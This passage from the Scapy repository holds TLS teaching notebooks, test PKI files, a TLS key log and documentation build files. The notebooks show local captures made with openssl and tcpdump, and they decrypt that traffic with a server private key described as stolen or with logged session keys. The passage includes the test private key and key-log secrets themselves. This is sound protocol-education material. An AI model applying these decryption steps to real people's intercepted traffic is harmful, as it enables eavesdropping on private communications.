'www.github.com'\\n\",\n    \"x509c = record3.msg[0].certs[0][1].x509Cert\\n\",\n    \"print(type(x509c))\\n\",\n    \"x509c.tbsCertificate.extensions[2].show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) <--- (S) CertificateStatus, ServerKeyExchange, ServerHelloDone\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Here the server sent three TLS records in the same TCP segment\\n\",\n    \"record4 = TLS(open('raw_data/tls_session_protected/04_srv.raw', 'rb').read())\\n\",\n    \"record4.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Let's verify the signature in the ServerKeyExchange\\n\",\n    \"# First, we need to assemble the whole data being signed\\n\",\n    \"cli_random = pkcs_i2osp(record1.msg[0].gmt_unix_time, 4) + record1.msg[0].random_bytes\\n\",\n    \"srv_random = pkcs_i2osp(record2.msg[0].gmt_unix_time, 4) + record2.msg[0].random_bytes\\n\",\n    \"ecdh_params = bytes(record4[TLSServerKeyExchange].params)\\n\",\n    \"\\n\",\n    \"# Then we retrieve the server's Cert and verify the signature\\n\",\n    \"cert_srv = record3.msg[0].certs[0][1]\\n\",\n    \"cert_srv.verify(cli_random + srv_random + ecdh_params, record4[TLSServerKeyExchange].sig.sig_val, h='sha512')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"source\": [\n    \"## (C) ---> (S) ClientKeyExchange, ChangeCipherSpec, Finished\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record5_str = open('raw_data/tls_session_protected/05_cli.raw', 'rb').read()\\n\",\n    \"record5 = TLS(record5_str)\\n\",\n    \"record5.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Every record has a 'tls_session' context which may enhance the parsing of later records\\n\",\n    \"record5 = TLS(record5_str, tls_session=record2.tls_session.mirror())\\n\",\n    \"record5.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) <--- (S) NewSessionTicket, ChangeCipherSpec, Finished\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record6_str = open('raw_data/tls_session_protected/06_srv.raw', 'rb').read()\\n\",\n    \"record6 = TLS(record6_str, tls_session=record5.tls_session.mirror())\\n\",\n    \"record6.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) ---> (S) ApplicationData\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record7_str = open('raw_data/tls_session_protected/07_cli.raw', 'rb').read()\\n\",\n    \"record7 = TLS(record7_str, tls_session=record6.tls_session.mirror())\\n\",\n    \"record7.show()\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 2\",\n   \"language\": \"python\",\n   \"name\": \"python2\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 2\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython2\",\n   \"version\": \"2.7.13\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"
  },
  {
    "path": "doc/notebooks/tls/notebook3_tls_compromised.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# The lack of PFS: a danger to privacy\\n\",\n    \"\\n\",\n    \"With TLS 1.2 and earlier, some cipher suites do not provide Perfect Forward Secrecy. Without this property, an attacker compromising the server private key can easily decrypt TLS traffic.\\n\",\n    \"\\n\",\n    \"In the following example, Scapy is used to decrypt a comunication made without PFS using the ciphersuite `TLS_RSA_WITH_AES_128_CBC_SHA`, giving the server private key stored in `raw_data/pki/srv_key.pem`.\"\n   ]\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"from scapy.all import *\\n\",\n    \"load_layer('tls')\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"record1_str = open('raw_data/tls_session_compromised/01_cli.raw', 'rb').read()\\n\",\n    \"record1 = TLS(record1_str)\\n\",\n    \"record1.msg[0].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"source\": [\n    \"record2_str = open('raw_data/tls_session_compromised/02_srv.raw', 'rb').read()\\n\",\n    \"record2 = TLS(record2_str, tls_session=record1.tls_session.mirror())\\n\",\n    \"record2.msg[0].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Supposing that the private key of the server was stolen,\\n\",\n    \"# the traffic can be decoded by registering it to the Scapy TLS session\\n\",\n    \"key = PrivKey('raw_data/pki/srv_key.pem')\\n\",\n    \"record2.tls_session.server_rsa_key = key\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"record3_str = open('raw_data/tls_session_compromised/03_cli.raw', 'rb').read()\\n\",\n    \"record3 = TLS(record3_str, tls_session=record2.tls_session.mirror())\\n\",\n    \"record3.show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"record4_str = open('raw_data/tls_session_compromised/04_srv.raw', 'rb').read()\\n\",\n    \"record4 = TLS(record4_str, tls_session=record3.tls_session.mirror())\\n\",\n    \"record4.show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# This is the first TLS Record containing user data. If decryption works,\\n\",\n    \"# you should see the string \\\"To boldly go where no man has gone before...\\\" in plaintext.\\n\",\n    \"record5_str = open('raw_data/tls_session_compromised/05_cli.raw', 'rb').read()\\n\",\n    \"record5 = TLS(record5_str, tls_session=record4.tls_session.mirror())\\n\",\n    \"record5.show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"markdown\",\n   \"source\": [\n    \"# Decrypting TLS Traffic Protected with PFS\\n\",\n    \"\\n\",\n    \"When PFS is in action, the only way to break TLS 1.2 is to possess decryption keys. They can be retrieved by dumping the process memory, or making the TLS library to write then into a [NSS Key Log](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format) (as allowed by OpenSSL, Chrome or Firefox).\\n\",\n    \"\\n\",\n    \"The data used in the following examples was retrieved the following commands:\\n\",\n    \"```\\n\",\n    \"cd doc/notebooks/tls/raw_data/\\n\",\n    \"\\n\",\n    \"# Start a TLS Server using the s_server\\n\",\n    \"sudo openssl s_server -accept localhost:443 -cert pki/srv_cert.pem -key pki/srv_key.pem -WWW\\n\",\n    \"\\n\",\n    \"# Sniff the network and write packets to a file\\n\",\n    \"sudo tcpdump -i lo -w tls_nss_example.pcap port 443\\n\",\n    \"\\n\",\n    \"# Connect to the server using TLS 1.2 and TLS 1.3, and write the keys to a file\\n\",\n    \"echo -e \\\"GET /pki/srv_key.pem HTTP/1.0\\\\r\\\\n\\\" | openssl s_client -connect localhost:443 -keylogfile tls_nss_example.keys.txt -tls1_2 -ign_eof\\n\",\n    \"echo -e \\\"GET /pki/srv_key.pem HTTP/1.0\\\\r\\\\n\\\" | openssl s_client -connect localhost:443 -keylogfile tls_nss_example.keys.txt -tls1_3 -ign_eof\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"## Decrypt a PCAP files\\n\",\n    \"\\n\",\n    \"Scapy can parse NSS Key logs, and use the cryptographic material to decrypt TLS traffic from a pcap file.\"\n   ]\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"load_layer(\\\"tls\\\")\\n\",\n    \"\\n\",\n    \"conf.tls_session_enable = True\\n\",\n    \"conf.tls_nss_filename = \\\"raw_data/tls_nss_example.keys.txt\\\"\\n\",\n    \"\\n\",\n    \"packets = sniff(offline=\\\"raw_data/tls_nss_example.pcap\\\", session=TCPSession)\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"# Display the TLS1.2 HTTP GET query\\n\",\n    \"packets[9][TLS].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"# Display the answer containing the secret\\n\",\n    \"packets[10][TLS].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"# Display the TLS1.3 HTTP GET query\\n\",\n    \"packets[27][TLS13].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"metadata\": {},\n   \"cell_type\": \"code\",\n   \"source\": [\n    \"# Display the answer containing the secret\\n\",\n    \"packets[28][TLS13].show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Decrypt Manually\\n\",\n    \"\\n\",\n    \"Internally, the `conf.tls_session_enable` parameter makes Scapy follows TCP records, such as Client Hello or Server Hello, and updates `tlsSession` objects.\\n\",\n    \"\\n\",\n    \"Scapy inner behavior is illustrated by the following example.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Read packets from a pcap\\n\",\n    \"load_layer(\\\"tls\\\")\\n\",\n    \"\\n\",\n    \"conf.tls_session_enable = False\\n\",\n    \"packets = rdpcap(\\\"raw_data/tls_nss_example.pcap\\\")\\n\",\n    \"\\n\",\n    \"# Load the keys from a NSS Key Log\\n\",\n    \"nss_keys = load_nss_keys(\\\"raw_data/tls_nss_example.keys.txt\\\")\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Parse the Client Hello message from its raw bytes. This configures a new tlsSession object\\n\",\n    \"client_hello = TLS(raw(packets[3][TLS]))\\n\",\n    \"\\n\",\n    \"# Parse the Server Hello message, using the mirrored client_hello tlsSession object\\n\",\n    \"server_hello = TLS(raw(packets[5][TLS]), tls_session=client_hello.tls_session.mirror())\\n\",\n    \"\\n\",\n    \"# Configure the TLS master secret retrieved from the NSS Key Log\\n\",\n    \"server_hello.tls_session.master_secret = nss_keys[\\\"CLIENT_RANDOM\\\"][client_hello.tls_session.client_random]\\n\",\n    \"server_hello.tls_session.compute_ms_and_derive_keys()\\n\",\n    \"\\n\",\n    \"# Parse remaining TLS messages\\n\",\n    \"client_finished = TLS(raw(packets[7][TLS]), tls_session=server_hello.tls_session.mirror())\\n\",\n    \"server_finished = TLS(raw(packets[8][TLS]), tls_session=client_finished.tls_session.mirror())\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Display the HTTP GET query\\n\",\n    \"http_query = TLS(raw(packets[9][TLS]), tls_session=server_finished.tls_session.mirror())\\n\",\n    \"http_query.show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  },\n  {\n   \"cell_type\": \"code\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Display the answer containing the secret\\n\",\n    \"http_response = TLS(raw(packets[10][TLS]), tls_session=http_query.tls_session.mirror())\\n\",\n    \"http_response.show()\"\n   ],\n   \"outputs\": [],\n   \"execution_count\": null\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.1\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"
  },
  {
    "path": "doc/notebooks/tls/notebook4_tls13.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# TLS 1.3 handshake overview\\n\",\n    \"This is the basic TLS 1.3 handshake:\\n\",\n    \"\\n\",\n    \"<img src=\\\"images/handshake_tls13.png\\\" alt=\\\"Handshake TLS 1.3\\\" width=\\\"400\\\"/>\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Dissecting the handshake\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"from scapy.all import *\\n\",\n    \"load_layer('tls')\\n\",\n    \"conf.logLevel = logging.INFO\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# ClientHello\\n\",\n    \"record1_str = open('raw_data/tls_session_13/01_cli.raw', 'rb').read()\\n\",\n    \"record1 = TLS(record1_str)\\n\",\n    \"sess = record1.tls_session\\n\",\n    \"record1.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# The PFS relies on the ECDH secret below being kept from observers, and deleted right after the key exchange\\n\",\n    \"from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey\\n\",\n    \"\\n\",\n    \"# Used in records 2-6 + 8\\n\",\n    \"x25519_client_privkey = open('raw_data/tls_session_13/cli_key.raw', 'rb').read()\\n\",\n    \"sess.tls13_client_privshares[\\\"x25519\\\"] = X25519PrivateKey.from_private_bytes(x25519_client_privkey)\\n\",\n    \"\\n\",\n    \"# Used in records 7 + 9\\n\",\n    \"x25519_server_privkey = open('raw_data/tls_session_13/srv_key.raw', 'rb').read()\\n\",\n    \"sess.tls13_server_privshare[\\\"x25519\\\"] = X25519PrivateKey.from_private_bytes(x25519_server_privkey)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# ServerHello + ChangeCipherSpec (middlebox compatibility)\\n\",\n    \"record2_str = open('raw_data/tls_session_13/02_srv.raw', 'rb').read()\\n\",\n    \"record2 = TLS(record2_str, tls_session=sess.mirror())\\n\",\n    \"record2.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Encrypted Extensions\\n\",\n    \"record3_str = open('raw_data/tls_session_13/03_srv.raw', 'rb').read()\\n\",\n    \"record3 = TLS(record3_str, tls_session=sess)\\n\",\n    \"record3.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Certificate\\n\",\n    \"record4_str = open('raw_data/tls_session_13/04_srv.raw', 'rb').read()\\n\",\n    \"record4 = TLS(record4_str, tls_session=sess)\\n\",\n    \"record4.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Certificate verify\\n\",\n    \"record5_str = open('raw_data/tls_session_13/05_srv.raw', 'rb').read()\\n\",\n    \"record5 = TLS(record5_str, tls_session=sess)\\n\",\n    \"record5.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Finished\\n\",\n    \"record6_str = open('raw_data/tls_session_13/06_srv.raw', 'rb').read()\\n\",\n    \"record6 = TLS(record6_str, tls_session=sess)\\n\",\n    \"record6.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Client ChangeCipherSpec (middlebox compatibility) + Finished\\n\",\n    \"record7_str = open('raw_data/tls_session_13/07_cli.raw', 'rb').read()\\n\",\n    \"record7 = TLS(record7_str, tls_session=sess.mirror())\\n\",\n    \"record7.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Dissecting some data\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Client application data\\n\",\n    \"record8_str = open('raw_data/tls_session_13/08_cli.raw', 'rb').read()\\n\",\n    \"record8 = TLS(record8_str, tls_session=sess)\\n\",\n    \"record8.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Server application data\\n\",\n    \"record9_str = open('raw_data/tls_session_13/09_srv.raw', 'rb').read()\\n\",\n    \"record9 = TLS(record9_str, tls_session=sess.mirror())\\n\",\n    \"record9.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Observations sur TLS 1.3\\n\",\n    \"* Certificat désormais chiffré...\\n\",\n    \"* ...mais pas le Server Name dans le ClientHello\\n\",\n    \"* Risques du mode 0-RTT\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.10.5\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"
  },
  {
    "path": "doc/notebooks/tls/raw_data/README.md",
    "content": "This folder is used in the notebook and in some tests.\n\nFiles in this folder are therefore cross licensed under both GPLv2 and CC-BY-NC-SA 2.5.\n"
  },
  {
    "path": "doc/notebooks/tls/raw_data/pki/srv_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV\nBAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz\ndCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN\nMjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0\nYXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0\nIFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu\n8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn\nygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI\nGIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw\nvMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv\ny7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t\nnuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O\nBBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR\nNzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB\nAQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus\ntNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW\nBLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe\nWEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ\nKuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI\n11nk6boqTrUVD5zQ6gaR2d6r\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "doc/notebooks/tls/raw_data/pki/srv_key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY\nDScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE\nIGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA\neGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC\nlc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz\n+j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n\n+CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR\nhcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/\n8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD\neLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA\nSuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua\nursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX\nY3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H\nlnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB\ns2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq\nE5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg\n916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q\n+An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/\naieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52\n83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV\niOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk\n1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG\nRqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth\n9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX\nzmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU\nu13D93hAM6bzH6Ds5FPUQw==\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "doc/notebooks/tls/raw_data/tls_nss_example.keys.txt",
    "content": "# SSL/TLS secrets log file, generated by OpenSSL\nCLIENT_RANDOM 216e876ea1a480c60145c4c80eb8d05c85b6806043105c391236cd4e88f79a21 54a828bfc25edf47070cd48b8253e8137e88082face8d7e96960756653b57f41bc6df3f45a5746bc9c6305ccd9b35ab8\nSERVER_HANDSHAKE_TRAFFIC_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 5f2fd60aecc80ee54d17d48ec58fcfccf6fe229e08055dba1a6a09297bea98fd1268bdd6fe19e15c76d7c152d17f7237\nEXPORTER_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 02aa67e90b524002f7eb00fcda23365ca6bfea5ad179d965264b5c1f6ff93483465b3c147c5070a90e47a406bd431152\nSERVER_TRAFFIC_SECRET_0 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 c5f265aee5d17472c71fa889cfa351b12b9280bf74d16477161fd495c87432632908cae923e390d5d52a4719c2f896de\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 bf58ee2a720cb26a594c0c7b714783a406f4daad18fbf7b7b3437bfe944d840cbc0e1843096e1c4ec92b68f230b22fa9\nCLIENT_TRAFFIC_SECRET_0 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 7f3ac59f48dbe7f0fa66f92a0e691cf6ad4b84062e66b303f3149107c723ffb8424f8a3488072a8938d842b403e43229\n"
  },
  {
    "path": "doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw",
    "content": " !\"#$%&'()*+,-./0123456789:;<=>?"
  },
  {
    "path": "doc/notebooks/tls/raw_data/tls_session_13/srv_key.raw",
    "content": ""
  },
  {
    "path": "doc/scapy/Makefile",
    "content": "# Minimal makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nSPHINXPROJ    = Scapy\nSOURCEDIR     = .\nBUILDDIR      = _build\n\n# Put it first so that \"make\" without argument is like \"make help\".\nhelp:\n\t@$(SPHINXBUILD) -M help \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)\n\n.PHONY: help Makefile\n\n# Catch-all target: route all unknown targets to Sphinx using the new\n# \"make mode\" option.  $(O) is meant as a shortcut for $(SPHINXOPTS).\n%: Makefile\n\t@$(SPHINXBUILD) -M $@ \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)"
  },
  {
    "path": "doc/scapy/README",
    "content": "This folder includes source files (text and graphics) for Scapy's documentation,\nwhich is automatically built using Sphinx <http://sphinx.pocoo.org/>\n\nThe *.rst files are written as reStructuredText and should be quite readable\nin your favourite text editor without any further formatting.\n\nTo generate much nicer, searchable HTML docs, install Sphinx, open a command \nline, change to the directory where this README is placed, and type the\nfollowing command:\n\n  $ make html\n\nTo generate a single PDF file (useful for printing) you need a working\nLaTeX installation (e.g. <http://www.tug.org/texlive/>). \nThe following commands produce the file Scapy.pdf (>100 pages):\n\n  $ make latex\n  $ cd _build/latex\n  $ make all-pdf\n"
  },
  {
    "path": "doc/scapy/_ext/linkcode_res.py",
    "content": "import inspect\nimport os\nimport sys\n\nimport scapy\n\n# -- Linkcode resolver -----------------------------------------------------\n\n# This is HEAVILY inspired by numpy's\n# https://github.com/numpy/numpy/blob/73fe877ff967f279d470b81ad447b9f3056c1335/doc/source/conf.py#L390\n\n# Copyright (c) 2005-2020, NumPy Developers.\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n# \n#     * Redistributions of source code must retain the above copyright\n#        notice, this list of conditions and the following disclaimer.\n# \n#     * Redistributions in binary form must reproduce the above\n#        copyright notice, this list of conditions and the following\n#        